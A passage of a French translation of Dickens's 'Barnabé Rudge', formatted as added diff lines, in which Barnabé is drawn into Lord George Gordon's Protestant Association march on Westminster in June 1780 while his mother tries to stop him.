+surtout ses paroles s'étaient fortement emparées de son esprit.
+L'idée de la richesse lui était-elle vraiment venue, pour la
+première fois, en regardant ce soir-là les nuages dotés dans le
+ciel, quoiqu'il eût eu souvent sous les yeux des images pareilles
+auparavant à l'horizon? Ou bien était-ce leur vie misérable et
+pauvre qui, par contraste, lui avait, depuis longtemps, mis cette
+idée dans la tête? Ou bien fallait-il croire, comme il le pensait,
+que c'était l'assentiment fortuit donné par l'aveugle à ces
+pensées, qu'il couvait dans son esprit qui l'avait décidé? Serait-
+ce, enfin, qu'il avait été frappé davantage de cette circonstance,
+parce que c'était le premier aveugle avec lequel il avait jamais
+fait conversation? C'était un mystère pour la mère. Elle fit tout
+ce qu'elle put pour obtenir quelque éclaircissement, mais ce fut
+en vain: il est probable que Barnabé lui-même ne s'en rendait pas
+compte.
+
+Elle était très malheureuse de lui voir toucher cette corde; mais
+tout ce qu'elle pouvait faire, c'était de l'amener doucement à
+quelque autre sujet pour chasser celui-là de son esprit. Quant à
+le mettre en garde contre leur visiteur, à montrer quelque crainte
+ou quelque soupçon à cet égard, elle craignait que ce ne fût
+plutôt le moyen de redoubler l'intérêt que lui portait déjà
+Barnabé, et de lui faire souhaiter davantage la rencontre après
+laquelle il soupirait; elle espérait, en se plongeant dans la
+foule, échapper à la poursuite terrible qu'elle fuyait; puis
+ensuite, en s'échappant de Londres avec précaution pour aller plus
+loin, elle voulait, si c'était possible, aller encore chercher une
+retraite inconnue où elle pût trouver la solitude et la paix.
+
+À la fin, ils arrivèrent à la station où on devait les déposer, à
+dix milles de Londres, et y passèrent la nuit, après avoir fait
+marché avec un autre voiturier, moyennant peu de chose, pour se
+faire emmener le lendemain dans une carriole qui s'en retournait à
+vide, et qui devait partir à cinq heures du matin. Le voiturier
+fut exact, la route était bonne, sauf un peu de poussière que la
+chaleur et la sécheresse rendaient étouffante; et, à sept heures
+du matin, le 2 juin 1780, qui était un vendredi, ils mirent pied à
+terre au bas du pont de Wesminster, prirent congé de leur
+conducteur, et se trouvèrent seuls ensemble sur le pavé brûlant;
+car la fraîcheur que la nuit répand sur ces carrefours populeux
+était déjà partie, et le soleil brillait dans tout son lustre.
+
+
+
+
+CHAPITRE VI.
+
+
+Ne sachant où aller après, et effarouchés par la foule de gens qui
+étaient déjà sur pied, ils s'assirent à l'écart dans une des
+retraites du pont pour se reposer. Ils s'aperçurent bientôt que le
+courant d'activité générale se portait tout entier d'un côté, et
+qu'il y avait un nombre infini de personnes qui traversaient la
+Tamise de la rive de Middlesex à celle de Surrey, avec une
+précipitation extraordinaire et dans un état d'excitation évident.
+Elles étaient, le plus souvent, réunies par petits pelotons de
+deux ou trois, ou même d'une demi-douzaine, se parlaient peu,
+quelquefois observaient un silence absolu, et suivaient leur route
+d'un pas pressé, comme des gens absorbés par un but unique et
+commun.
+
+Barnabé et sa mère furent surpris de voir presque tous les hommes
+de ce grand rassemblement, qui passaient devant eux sans
+discontinuer, porter une cocarde bleue à leur chapeau, et ceux qui
+n'avaient pas cette décoration, passants inoffensifs, se montrer
+inquiets et chercher timidement à éviter l'attention et les
+attaques des autres, auxquels ils laissaient le haut du pavé, par
+voie de conciliation. C'était d'ailleurs assez naturel, vu
+l'infériorité de leur nombre: car ceux qui portaient des cocardes
+bleues étaient à ceux qui n'en portaient pas dans la proportion de
+quarante ou cinquante au moins contre un. Cependant on ne voyait
+point de querelles. Les cocardes bleues se pressaient comme des
+essaims, cherchant à se passer l'une l'autre, et se hâtant de tout
+leur pouvoir au milieu de la multitude, échangeant seulement un
+regard, et encore pas toujours, avec les passants qui
+n'appartenaient pas à leur association.
+
+Au commencement, le courant populaire s'était borné à occuper les
+deux trottoirs; un petit nombre de traînards seulement se
+rencontraient sur la chaussée. Mais, au bout d'une demi-heure
+environ, le passage fut complètement bloqué par la foule qui,
+serrée et compacte à présent, embarrassée dans les charrettes et
+les voitures qu'elle rencontrait, ne pouvait plus avancer que
+lentement, et quelquefois même se voyait obligée de faire des
+haltes, de huit ou dix minutes.
+
+Au bout de deux heures environ, le nombre des passants commença à
+diminuer sensiblement; on les vit, petit à petit, s'éclaircir,
+débarrasser le pont, disparaître, sauf quelques traînards à
+cocardes, qui, se sentant en retard, le visage poudreux et
+échauffé, pressaient le pas pour ne point arriver trop tard, ou
+s'arrêtaient à demander le chemin qu'avaient pris leurs amis, et
+se hâtaient, après s'être renseignés, de marcher dans cette
+direction avec une satisfaction visible. Au milieu de cette
+solitude relative, qui lui semblait si étrange et si nouvelle
+après la foule qui l'avait précédée, la veuve eut, pour la
+première fois, l'occasion de s'informer à un vieillard, qui était
+venu s'asseoir près d'eux, de ce que signifiait ce concours
+extraordinaire de gens.
+
+«Mais d'où donc venez-vous? répondit-il, si vous n'avez pas
+entendu parler de la Grande Association de lord Georges Gordon.
+C'est aujourd'hui qu'il présente à la Chambre la pétition contre
+les catholiques. Que Dieu l'assiste!
+
+-- Eh bien! qu'est-ce que tous ces gens-là ont à voir là dedans?
+demanda-t-elle.
+
+-- Ce qu'ils ont à voir là dedans? Comme vous y allez! Vous ne
+savez donc pas que Sa Seigneurie a déclaré qu'elle ne présenterait
+rien à la Chambre s'il n'y avait pas, pour soutenir la pétition,
+quarante mille hommes au moins à la porte, et des gaillards
+solides? Jugez de la foule qu'il va y avoir.
+
+-- Quelle foule, en effet! dit Barnabé. Entendez-vous, mère?
+
+-- Ils vont, à ce qu'on dit, reprit le vieillard, passer une revue
+de plus de cent mille hommes. Ah! vous n'avez qu'à laisser faire
+lord Georges. Il connaît bien son pouvoir. Il y a de puissants
+visages à ces trois fenêtres là-bas (et il montrait la chambre des
+Communes qui dominait la rivière), qui vont devenir pâles comme la
+mort en voyant ce soir lord Georges monter à la tribune: et ils
+n'auront pas tort. Eh! eh! laissez faire Sa Seigneurie, c'est un
+malin.»
+
+Et là-dessus, marmottant, riant dans sa barbe, et remuant son
+index d'un air significatif, il se leva à l'aide de son bâton, et
+s'en alla comme un château branlant.
+
+«Mère, dit Barnabé, quelle brave foule dont il parle là. Allons!
+
+-- Pas pour la rejoindre, toujours, cria-t-elle.
+
+-- Si, si, répondit-il en tirant les manches de sa veste. Pourquoi
+pas? Allons!
+
+-- Vous ne savez pas, dit-elle avec instance, le mal que ces gens-
+là peuvent faire, où ils peuvent vous conduire, ni quelles sont
+leurs intentions. Pour l'amour de moi...
+
+-- C'est justement pour l'amour de vous, cria-t-il en lui tapotant
+les mains. C'est bien cela, pour l'amour de vous, mère. Vous vous
+rappelez bien ce que l'aveugle nous disait de l'or. Voilà une
+brave foule! Allons! ou plutôt, attendez que je sois revenu;
+attendez-moi là.»
+
+Avec toute l'énergie de sa crainte maternelle, elle essaya, mais
+en vain, de le détourner de son idée. Il était baissé à boucler
+son soulier, quand un fiacre passa rapidement devant eux, et, de
+l'intérieur, une voix ordonna au cocher de s'arrêter.
+
+«Jeune homme! dit la voix.
+
+-- Qu'est-ce qu'on me veut? cria Barnabé en levant les yeux.
+
+-- Est-ce que vous ne voulez pas porter cette décoration? reprit
+l'étranger en lui tendant une cocarde bleue.
+
+-- Au nom du ciel, n'en faites rien; ne la lui donnez pas, s'écria
+la veuve.
+
+-- Parlez pour vous, bonne femme, dit l'autre froidement. Laissez
+le jeune homme faire ce qu'il lui plaît. Il est assez grand pour
+se décider tout seul; il n'a plus besoin de s'accrocher aux
+cordons de votre tablier. Il sait bien, sans que vous ayez besoin
+de le lui dire, s'il veut ou non porter le signe d'un fidèle
+Anglais.»
+
+Barnabé, tremblant d'impatience, se mit à crier: «Oui, oui, je
+veux le porter.» Il avait déjà répété ce cri plus de vingt fois,
+quand l'homme lui jeta une cocarde en lui disant: «Dépêchez-vous
+de vous rendre aux _Champs de Saint-Georges_.» Puis il ordonna au
+cocher de prendre le trot et les laissa là.
+
+Barnabé, les mains tremblantes d'émotion, était en train
+d'attacher de son mieux ce signe de ralliement à son chapeau,
+répondant avec vivacité aux larmes et aux instances de sa mère,
+lorsque deux gentlemen qui passaient de l'autre côté jetèrent les
+yeux sur eux, et, voyant Barnabé occupé à s'embellir de cet
+ornement, se dirent quelques mots à l'oreille et revinrent sur
+leurs pas, à leur rencontre.
+
+«Qu'est-ce que vous faites donc là à vous reposer? dit l'un d'eux,
+habillé tout en noir, avec de grands cheveux clairsemés sur sa
+tête, et une canne à la main. Pourquoi n'avez-vous pas suivi les
+autres?
+
+-- J'y vais, monsieur, répliqua Barnabé finissant sa besogne et
+mettant son chapeau d'un air crâne; j'y cours à l'instant.
+
+-- Dites donc milord et non pas monsieur, jeune homme, si vous
+voulez bien, quand Sa Seigneurie vous fait l'honneur de vous
+adresser la parole, dit le second gentleman avec un air de doux
+reproche; si vous n'avez pas reconnu lord Georges Gordon tout de
+suite, il est grand temps maintenant.
+
+-- Non, non, Gashford, dit lord Georges, pendant que Barnabé se
+découvrait et lui faisait un beau salut. Ça ne fait pas
+grand'chose dans un jour comme celui-ci, que tout Anglais fidèle
+se rappellera avec orgueil et plaisir; couvrez-vous, l'ami, et
+suivez-nous, car vous êtes en arrière et vous allez arriver trop
+tard. Voilà qu'il est dix heures passées. Vous ne saviez donc pas
+que le rassemblement se faisait à dix heures précises?
+
+Barnabé secoua la tête en les regardant l'un après l'autre, comme
+s'il ne se doutait pas de ce qu'on voulait lui dire.
+
+«Vous auriez dû le savoir, l'ami, dit Gashford. C'était bien
+convenu. D'où venez-vous donc, que vous êtes si mal informé?
+
+-- Il n'est pas dans le cas de vous répondre, monsieur, dit la
+veuve. Cela ne sert à rien de l'interroger. Nous ne faisons que
+d'arriver de bien loin dans la province, et nous ne savons rien de
+tout cela.
+
+-- Il paraît que la cause a poussé loin ses racines, et qu'elle
+étend déjà ses branches de tous côtés, dit lord Georges à son
+secrétaire. Bonne nouvelle, et que Dieu soit loué!
+
+-- Ainsi soit-il! cria Gashford d'un air solennel.
+
+-- Vous ne m'avez pas comprise, milord, dit la veuve. Pardon, vous
+vous méprenez cruellement sur ce que j'ai voulu dire. Nous
+n'entendons rien à tout ce qui se passe, et nous n'avons ni
+l'intention ni le droit d'y prendre avec vous la moindre part. Ce
+jeune homme est mon fils, mon pauvre fils, infirme d'esprit, et
+qui m'est plus cher que la vie. Au nom du ciel, milord, allez-
+vous-en sans lui; épargnez-lui la tentation de vous suivre dans
+quelque danger.
+
+-- Ma bonne femme, dit Gashford, comment est-il possible? Je ne
+vous comprends pas. Qu'est-ce que vous nous parlez de tentation et
+de danger? Est-ce que vous prenez milord pour le lion de
+l'Écriture, qui chercha quelqu'un à dévorer? Que le bon Dieu vous
+bénisse!
+
+-- Non, non, milord; pardonnez-moi, reprit la veuve éplorée, lui
+mettant les deux mains sur la poitrine, sans savoir ce qu'elle
+faisait ni ce qu'elle disait, dans le trouble de son ardente
+prière; mais j'ai des raisons de vous supplier de céder à mes
+larmes, aux larmes d'une mère. Au nom du ciel! laissez-moi mon
+fils. Il n'est pas dans son bon sens; il ne sait pas ce qu'il
+fait, je vous le jure.
+
+-- Voyez, dit lord Georges, reculant devant les mains de la veuve
+et rougissant tout à coup, voyez un peu la perversité de ce
+siècle! On traite de folie le zèle de ceux qui veulent servir
+fidèlement la bonne cause. Avez-vous bien le coeur de parler comme
+cela de votre propre fils, mère dénaturée?
+
+-- Vous m'étonnez, dit Gashford à la veuve, avec une espèce de
+sévérité sans aigreur; voilà un triste échantillon de la
+dépravation des femmes!
+
+-- Il n'en a toujours pas l'air, dit lord Georges jetant un coup
+d'oeil sur Barnabé, et demandant tout bas à son secrétaire s'il
+était vrai que le gars avait l'esprit dérangé. Et, quand ce
+serait, nous ne devons pas nous arrêter à une bagatelle comme ce
+prétendu dérangement d'esprit. Qui de nous (et il rougit encore)
+échapperait à ce reproche, si c'était un cas d'exclusion?
+
+-- Pas un de nous, répliqua le secrétaire. Dans un cas comme
+celui-ci, plus il y a de zèle, de fidélité, de bonne volonté, plus
+la vocation est écrite là-haut, et plus sainte est la folie. Quant
+à ce jeune homme, milord, ajouta-t-il en retroussant légèrement sa
+lèvre, pendant qu'il regardait Barnabé, qui était là debout, à
+tourner dans les mains son chapeau, et à leur faire signe en
+cachette de partir, soyez sûr qu'il a toute sa raison, et qu'il
+est aussi sain d'esprit que pas un.
+
+-- Ah çà! désirez-vous faire partie de la _Grande Association_?
+dit lord Georges en s'adressant à lui; avez-vous l'intention
+d'être un des nôtres?
+
+-- Oui! oui! dit Barnabé, l'oeil étincelant. Certainement que j'en
+ai l'intention. Je le lui disais à elle-même, pas plus tard que
+tout à l'heure.
+
+-- Je vois ce que c'est, répliqua lord Georges en jetant à la
+malheureuse mère un regard de reproche; je m'en doutais. Eh bien!
+vous n'avez qu'à me suivre, moi et ce gentleman, et vous allez
+accomplir votre désir.»
+
+Barnabé déposa sur la joue de sa mère un tendre baiser, et lui
+disant d'avoir bon courage, que leur fortune était faite, il
+marcha derrière eux. Elle aussi, la pauvre femme, elle se mit à
+les suivre, en proie à une terreur et à un chagrin inexprimables.
+
+Ils marchèrent rapidement le long de Bridge-Road, dont toutes les
+boutiques étaient fermées; car en voyant passer cette cohue, et
+dans la crainte de leur retour, les gens n'étaient pas rassurés
+pour leurs marchandises et les vitres de leurs fenêtres; on
+pouvait apercevoir à l'étage supérieur de leurs maisons tous les
+habitants réunis à leurs croisées, regardant en bas dans la rue
+avec des visages alarmés, où se peignaient diversement l'intérêt,
+l'attente et l'indignation. Les uns applaudissaient, les autres
+sifflaient. Mais sans faire attention à ces manifestations, et
+tout entier au bruit du vaste rassemblement voisin, qui
+retentissait à ses oreilles comme le mugissement de la mer, lord
+Georges Gordon hâta le pas et se trouva bientôt dans les Champs de
+Saint-Georges.
+
+C'étaient réellement des champs à cette époque, et même très
+étendus. On y voyait rassemblée une multitude immense, portant des
+drapeaux de toute forme et de toute grandeur, mais tous d'une
+couleur uniforme, tous bleus, comme les cocardes. Il y avait des
+pelotons qui faisaient des évolutions militaires, d'autres en
+ligne, en carré, en cercle. Un grand nombre des détachements qui
+marchaient sur le champ de parade et de ceux qui restaient
+stationnaires, chantaient des psaumes et des hymnes. Quel que fût
+le premier qui en avait eu l'idée, elle n'était pas mauvaise: car
+le son de ces milliers de voix élevées dans les airs était fait
+pour remuer l'âme la plus insensible, et ne pouvait manquer de
+produire un effet merveilleux sur les enthousiastes de bonne foi
+dans leur égarement.
+
+On avait posté en avant du rassemblement des sentinelles pour
+annoncer l'arrivée du chef. Quand celles-ci se furent repliées
+pour passer le mot d'ordre, il circula en un moment dans toute la
+troupe, et il y eut alors un moment de profond et morne silence,
+pendant lequel les masses se tinrent si tranquilles et si
+immobiles, qu'on ne voyait plus, partout où pouvaient se porter
+les yeux, d'autre mouvement que celui des bannières flottantes.
+Puis tout à coup éclata un hourra terrible, puis un second, puis
+un autre. L'air en était ébranlé et déchiré comme par un coup de
+canon.
+
+«Gashford, cria lord Georges, serrant le bras de son secrétaire
+tout contre le sien, et parlant avec une émotion qui se trahissait
+également par l'altération de sa voix et de ses traits, je sens
+maintenant que je suis prédestiné; je le vois, je le sais. Je suis
+le chef d'une armée. Ils me sommeraient en ce moment, d'une
+commune voix, de les conduire à la mort, que je le ferais; oui!
+dussé-je tomber le premier moi-même.
+
+-- En effet, c'est un fier et grand spectacle, dit le secrétaire;
+une noble journée pour l'Angleterre et pour la grande cause du
+monde. Recevez, milord, l'hommage d'un humble mais dévoué
+serviteur...
+
+-- Qu'allez-vous faire? lui cria son maître en le prenant par les
+deux mains, car il avait fait mine de s'agenouiller à ses pieds;
+cher Gashford, n'allez pas me mettre hors d'état de remplir les
+devoirs qui m'attendent dans ce glorieux jour.» Et en disant ces
+mots le pauvre gentleman avait des larmes dans les yeux. «Passons
+à travers leurs rangs; il nous faut trouver une place dans quelque
+division pour notre nouvelle recrue. Donnez-moi la main.»
+
+Gashford glissa sa froide, son insidieuse main, dans l'étreinte
+fanatique de son maître, et alors, la main dans la main, toujours
+suivis de Barnabé et de sa mère, ils se mêlèrent à la foule.
+
+L'_Association_, pendant ce temps-là, s'était remise à chanter,
+et, à mesure que leur chef passait dans les rangs, tous élevaient
+leurs voix à qui mieux mieux. Parmi ces ligueurs, coalisés pour
+défendre jusqu'à la mort la religion de leur pays, il y en avait
+beaucoup qui n'avaient pas même entendu ni psaume ni cantique de
+leur vie. Mais comme c'étaient de fameux lurons, pour la plupart,
+cela ne les empêchait pas d'avoir de bons poumons, et, comme ils
+aimaient naturellement à chanter, ils braillaient toutes les
+ribauderies et toutes les sottises qui leur passaient par la tête,
+sachant bien que cela se perdrait dans le choeur général des voix,
+et ne s'inquiétant guère d'ailleurs qu'on s'en aperçût ou non. Il
+y eut bien de ces gaudrioles chantées jusque sous le nez de lord
+Georges Gordon; mais sans faire attention à leurs flonflons, il
+continua sa marche avec sa roideur habituelle et sa majesté
+solennelle, charmé, édifié de la piété de ses partisans.
+
+Ils allaient donc toujours, toujours, tantôt sur le front de cette
+ligne, tantôt derrière celle-là, tournant autour de la
+circonférence de ce cercle, longeant les quatre côtés de ces
+carrés, et il y en avait sans fin à passer en revue, de ces
+cercles, de ces carrés, de ces lignes. La chaleur du jour était
+arrivée à son apogée; la réverbération du soleil sur la place du
+rassemblement la rendait encore plus étouffante: ceux qui
+portaient les lourdes bannières commençaient à se sentir
+défaillir, et prêts à tomber de lassitude. La plupart des frères
+et amis ne se gênaient pas pour ôter leurs cravates et déboutonner
+leurs habits et leurs gilets. Dans le centre, un certain nombre
+d'entre eux, accablés par l'excès de la chaleur rendue plus
+insupportable encore par la multitude dont ils étaient entourés,
+se jetaient sur le gazon, tout haletants, offrant d'un verre d'eau
+tout ce qu'ils avaient d'argent. Et pourtant pas un homme ne
+quittait la place, pas même parmi ceux qui souffraient le plus; et
+pourtant lord Georges, tout ruisselant de sueur, continuait sa
+marche avec Gashford; et pourtant Barnabé et sa mère les suivaient
+de près avec persévérance.
+
+Ils étaient arrivés au bout d'une longue ligne d'environ huit
+cents hommes sur une seule file et lord Georges avait tourné la
+tête derrière lui, quand on entendit un cri de reconnaissance, à
+demi étouffé comme tous les cris que la voix fait entendre en
+plein air au milieu d'une foule; et aussitôt un homme sortit des
+rangs avec un grand éclat de rire, et posa sa lourde main sur
+l'épaule de Barnabé.
+
+«Eh quoi! s'écria-t-il, Barnabé Rudge? Voilà un siècle qu'on ne
+vous a vu. Où diable étiez-vous donc caché?»
+
+Dans ce moment-là, Barnabé pensait à toute autre chose; l'odeur du
+gazon foulé aux pieds lui rappelait ses vieilles parties de
+cricket, du temps qu'il était petit garçon et qu'il allait jouer
+sur la pelouse de Chigwell. Surpris de cette apostrophe soudaine
+et tapageuse, il fixa sur le personnage ses yeux effarouchés, sans
+pouvoir dire autre chose que «Est-ce bien Hugh que je vois?»
+
+-- Oui-da, Hugh en personne, répéta l'autre; Hugh du Maypole. Vous
+rappelez-vous mon chien? Il vit toujours et il va bien vous
+reconnaître, je vous en réponds. Mais, Dieu me pardonne! je crois
+que vous portez nos couleurs? Tant mieux, ma foi, tant mieux! Ha!
+ha!
+
+-- Vous connaissez ce jeune homme-là, à ce que je vois? dit Lord
+Georges.
+
+-- Si je le connais, milord! je le connais aussi bien que ma main
+droite. Mon capitaine aussi le connaît: nous le connaissons tous.
+
+-- Voulez-vous le prendre dans votre division?
+
+-- Il n'y a pas un garçon meilleur, ni plus agile, ni plus décidé
+que Barnabé Rudge, dit Hugh; je parie avec qui voudra qu'on ne
+trouve pas son pareil. Il va marcher, milord, entre Dennis et moi;
+et c'est lui qui va porter, ajouta-t-il en prenant un drapeau des
+mains d'un camarade fatigué, c'est lui qui va porter le plus gai
+drapeau de soie de cette vaillante armée.
+
+«Dieu du ciel! non, cria la veuve eu s'élançant devant eux.
+Barnabé... milord... voyez... il faut qu'il revienne; Barnabé,
+Barnabé.
+
+-- Comment, des femmes dans le camp! cria Hugh se jetant entre eux
+et les séparant. Holà! capitaine, à l'ordre!
+
+-- Qu'est-ce qu'il y a donc? cria Simon Tappertit, qui accourut en
+toute hâte et tout échauffé. Vous appelez cela de l'ordre!
+
+-- Ma foi! non, capitaine, répondit Hugh, tenant toujours la veuve
+en respect avec ses mains étendues; c'est bien plutôt du désordre.
+Les dames ne sont bonnes ici qu'à détourner nos vaillants soldats
+de leurs devoirs. Elles auraient bientôt rempli la place, si on
+les laissait faire. Allons, vite!
+
+-- Serrez les rangs! cria Simon à plein gosier; en avant, marche!»
+
+La pauvre femme était tombée sur le gazon. Tout le camp était en
+mouvement. Barnabé était entraîné au coeur d'une masse épaisse de
+ligueurs; elle ne le voyait plus.
+
+
+
+
+CHAPITRE VII.
+
+
+La populace ameutée avait été tout d'abord divisée en quatre
+sections; celles de Londres, de Westminster, de Southwark et
+d'Écosse. Chacune de ces divisions se décomposait elle-même en
+divers corps, dont la figure et les contours, étant loin d'offrir
+un ensemble uniforme, présentaient au premier coup d'oeil un ordre
+auquel il était impossible de rien comprendre, excepté peut-être
+pour les chefs et les commandants: car, pour les autres, c'était
+comme le plan de bataille qui n'est pas fait pour être compris du
+simple soldat, dont l'affaire est de se faire tuer en attendant.
+Pourtant, il ne faudrait pas croire que ce grand corps n'eût pas
+une méthode à lui. Car il n'y avait pas cinq minutes qu'on avait
+commandé le mouvement, que déjà la masse s'était répartie en trois
+grandes sections, prêtes à passer chacune, selon les ordres donnés
+antérieurement, la rivière sur un pont différent, et à se diriger
+par détachements séparés sur la chambre des Communes.
+
+C'est à la tête de la section qui avait pour direction le pont de
+Wesminster, que lord Georges Gordon prit sa place. Il avait
+Gashford à sa droite et autour de lui une espèce d'état-major
+composé de sacripants et de coupe-jarrets. La conduite de la
+seconde section, qui devait passer par Black-friars, était confiée
+au Comité d'administration, composé de douze citoyens. La
+troisième enfin, qui devait prendre London-Bridge, et traverser
+les rues d'un bout à l'autre pour mieux faire connaître et
+apprécier leur nombre aux bons bourgeois de Londres, était
+commandée par Simon Tappertit (assisté par quelques officiers
+subalternes, pris dans la confrérie des Bouledogues unis), par
+Dennis, le bourreau, et quelques autres.
+
+Au commandement de: «Marche!» chacun de ces grands corps prit le
+chemin qui lui était assigné, et se forma dans un ordre parfait,
+et dans un profond silence. Celui qui traversa la Cité surpassait
+de beaucoup les autres en nombre, et tenait une si grande étendue,
+dans son développement, que, lorsque l'arrière-garde commença à se
+mettre en mouvement, la tête était déjà à plus de quatre milles en
+avant, quoique les hommes marchassent trois de front, en emboîtant
+le pas.
+
+En tête de cette division, à la place que Hugh, dans la fougue de
+son humeur folâtre, lui avait assignée, entre ce dangereux
+compagnon et le bourreau marchait Barnabé, et bien des gens qui
+plus tard se rappelèrent ce jour-là n'oublièrent pas non plus la
+figure qu'il y faisait. Étranger à toute autre pensée qu'à son
+extase passagère, la face animée, l'oeil étincelant de plaisir,
+sentant à peine le poids de la grande bannière dont il était
+chargé, et ne songeant qu'à la faire briller au soleil et flotter
+à la brise d'été, il avançait, plus fier, plus heureux, plus
+exalté qu'on ne peut dire: c'était peut-être le seul coeur
+insouciant, la seule créature innocente de toute l'émeute.
+
+«Que pensez-vous de ça? lui demanda Hugh en passant au travers des
+rues encombrées par la foule, et en lui faisant lever les yeux
+vers les fenêtres garnies de spectateurs. Les voilà tous sortis
+pour voir nos drapeaux et nos banderoles. Hein, Barnabé? Ma foi!
+c'est Barnabé qui est le héros de la fête! C'est son drapeau qui
+est le plus grand, et le plus beau, par-dessus le marché! Il n'y a
+rien, dans tout le cortège, qui approche de Barnabé. Tous les yeux
+sont tournés sur lui. Ha! Ha! ha!
+
+-- Ne faites donc pas tant de tapage, frère, dit le bourreau en
+grognant, et en lançant du côté de Barnabé un coup d'oeil qui
+n'avait rien de flatteur. J'espère qu'il ne s'imagine pas qu'il
+n'y a rien à faire qu'à porter ce chiffon bleu, comme un petit
+garçon qui porte sa bannière à la procession. Vous êtes prêt à
+agir sérieusement, je suppose, hein? C'est à vous que je parle,
+ajouta-t-il en poussant rudement du coude Barnabé. Qu'est-ce que
+vous faites là à bayer aux corneilles? Pourquoi ne répondez-vous
+pas?»
+
+Barnabé, en effet, n'avait d'yeux que pour son drapeau. Pourtant,
+sur cette apostrophe, il promena un regard hébété du bourreau au
+camarade Hugh, qui dit à l'autre:
+
+«Il ne sait pas ce que vous voulez lui dire; attendez, je vais le
+lui faire comprendre. Barnabé, mon vieux, écoute-moi bien.
+
+-- Je vais vous écouter, dit-il en regardant autour de lui avec
+inquiétude; mais je voudrais bien la voir, et je ne la vois pas.
+
+-- Voir qui? demanda Dennis d'un ton bourru. Seriez-vous par
+hasard amoureux? j'espère que non. Il ne manquerait plus que ça.
+Nous n'avons que faire d'amoureux ici.
+
+-- Ah! qu'elle serait fière de me voir comme ça! hein? Hugh, dit
+Barnabé. Comme elle serait contente de me voir à la tête de ce
+grand spectacle! Elle en pleurerait de joie, j'en suis sûr; où
+donc peut-elle être? Elle ne me voit jamais à mon avantage; et
+pourtant, qu'est-ce que ça me fait d'être gai et pimpant, si elle
+n'est pas là pour en jouir?
+
+-- Bon! voilà-t-il pas un beau céladon! s'écria M. Dennis avec le
+plus suprême dédain. Ah çà! est-ce que vous croyez que nous
+prenons dans l'Association des amoureux pour faire du sentiment?
+
+-- Ne vous tourmentez pas, frère, lui dit Hugh. C'est de sa mère
+qu'il parle.
+
+-- De sa quoi? dit M. Dennis avec un abominable juron.
+
+-- De sa mère.
+
+-- Et vous croyez que je suis venu me mêler à cette division-ci,
+que je suis venu prendre part à ce jour mémorable pour entendre
+des petits garçons appeler leurs mamans! répondit en grondant
+M. Dennis avec le plus profond dégoût. L'idée d'une maîtresse,
+c'était déjà assez ennuyeux; mais une maman!»
+
+Et il en eut si mal au coeur, qu'il cracha par terre sans pouvoir
+ajouter un mot.
+
+«Barnabé a raison, cria Hugh avec une grimace. Mais je vais vous
+dire, mon garçon; regardez-moi bien, mon brave. Si elle n'est pas
+ici pour vous admirer, c'est que j'ai eu soin d'elle: je lui ai
+envoyé une demi-douzaine de gentlemen, chacun avec un beau drapeau
+bleu, quoique pas si beau de moitié que le vôtre, pour la mener,
+en grande cérémonie, à une maison magnifique, tout ornée de
+banderoles d'or et d'argent, et de mille autres choses plaisantes
+à voir, où elle va attendre que vous soyez revenu, et où je vous
+réponds qu'elle ne manque de rien.
+
+-- Ah! vraiment? dit Barnabé, la figure rayonnante de plaisir.
+Voilà qui me réjouit! À la bonne heure, mon bon Hugh!
+
+-- Bah! ce n'est rien en comparaison de ce que nous allons voir,
+reprit Hugh en clignant de l'oeil à Dennis, qui regardait avec un
+grand étonnement son nouveau compagnon d'armes.
+
+-- Comment! est-ce vrai?
+
+-- Oh mais, rien du tout. De l'argent, des chapeaux à cornes avec
+des plumets, des habits rouges brodés d'or, tout ce qu'il y a de
+plus beau au monde, maintenant et jamais, tout cela est à nous, si
+nous promettons à ce noble gentleman, le meilleur gentleman de la
+terre, de porter nos drapeaux pendant quelques jours sans les
+perdre: nous n'avons pas plus que ça à faire.
+
+-- Quoi! pas plus que ça? cria Barnabé avec des yeux animés, en
+serrant de toutes ses forces la hampe de son étendard. Je vous
+réponds, alors, que ce n'est pas moi qui perdrai le mien. Laissez
+faire, il est en bonnes mains. Vous me connaissez, Hugh: n'ayez
+pas peur que personne me le prenne.
+
+-- Voilà qui est bien parlé, cria Hugh; ha! ha! noblement parlé.
+Je reconnais là mon intrépide Barnabé, avec qui j'ai tant de fois
+sauté et fait des tours. Je savais bien que je ne me trompais pas
+sur son compte... Est-ce que vous ne voyez pas, ajouta-t-il à
+l'oreille de Dennis, vers lequel il s'était rapproché, que ce
+garçon-là est imbécile, et qu'on peut lui faire faire tout ce
+qu'on voudra si on sait le prendre? Sans bêtise, savez-vous qu'il
+vaut douze hommes à lui tout seul? vous n'avez qu'à essayer.
+Laissez-moi faire, vous verrez bientôt s'il peut nous être utile
+ou non.»
+
+M. Dennis reçut ces explications avec des signes de tête et des
+clignements d'yeux qui annonçaient sa complète édification; et, à
+partir de ce moment, il changea de ton avec Barnabé. Hugh, mettant
+son doigt à son nez pour lui recommander d'être discret, retourna
+prendre sa première place, et ils avancèrent en silence.
+
+Il était de deux à trois heures de l'après-midi quand les trois
+grandes divisions se trouvèrent réunies à Westminster, et formant
+une masse formidable, poussèrent ensemble un hourra terrible. Ce
+n'était pas seulement pour annoncer leur présence, c'était surtout
+un signal, pour ceux qui étaient chargés de ce soin, qu'il était
+temps de prendre possession des corridors des deux chambres, de
+tous les accès qui y aboutissaient, ainsi que des escaliers de la
+galerie. Ce fut aux escaliers que Dennis et Hugh, toujours avec
+leur disciple au milieu d'eux, se précipitèrent tout droit,
+Barnabé ayant remis son drapeau à un de leurs camarades, chargé de
+garder ce dépôt à la porte. Pressés par derrière par ceux qui les
+suivaient, ils se trouvèrent emportés comme une vague jusqu'à la
+porte même de la galerie, d'où il était impossible de revenir sur
+ses pas, quand on en aurait eu envie, à raison de la multitude qui
+obstruait les passages. On dit souvent par une expression
+familière, en parlant d'une grande foule, qu'on aurait pu marcher
+dessus, tant elle était serrée. C'est justement ce qui se fit: car
+un petit garçon qui s'était trouvé, je ne sais comment, dans la
+bagarre, et qui était en grand danger d'être étouffé, grimpa sur
+les épaules d'un homme près de lui, et courut sur les chapeaux et
+les têtes des gens jusqu'à la rue voisine, traversant dans sa
+course toute la longueur des deux escaliers et une longue galerie.
+Au dehors les rangs n'étaient pas moins épais: car un panier jeté
+dans la foule fut ballotté de tête en tête, d'épaule en épaule,
+et, tournant comme un toton sur lui-même, disparut au loin, sans
+être tombé par terre une seule fois.
+
+Dans cette vaste cohue, il y avait bien par-ci par-là quelques
+honnêtes fanatiques; mais la plus grande partie se composait de
+l'écume et du rebut de Londres, de gens tarés, de bandits,
+encouragés par un mauvais code de lois pénales, par de mauvais
+règlements dans les prisons, par une organisation de police
+détestable, si bien que les membres des deux chambres du Parlement
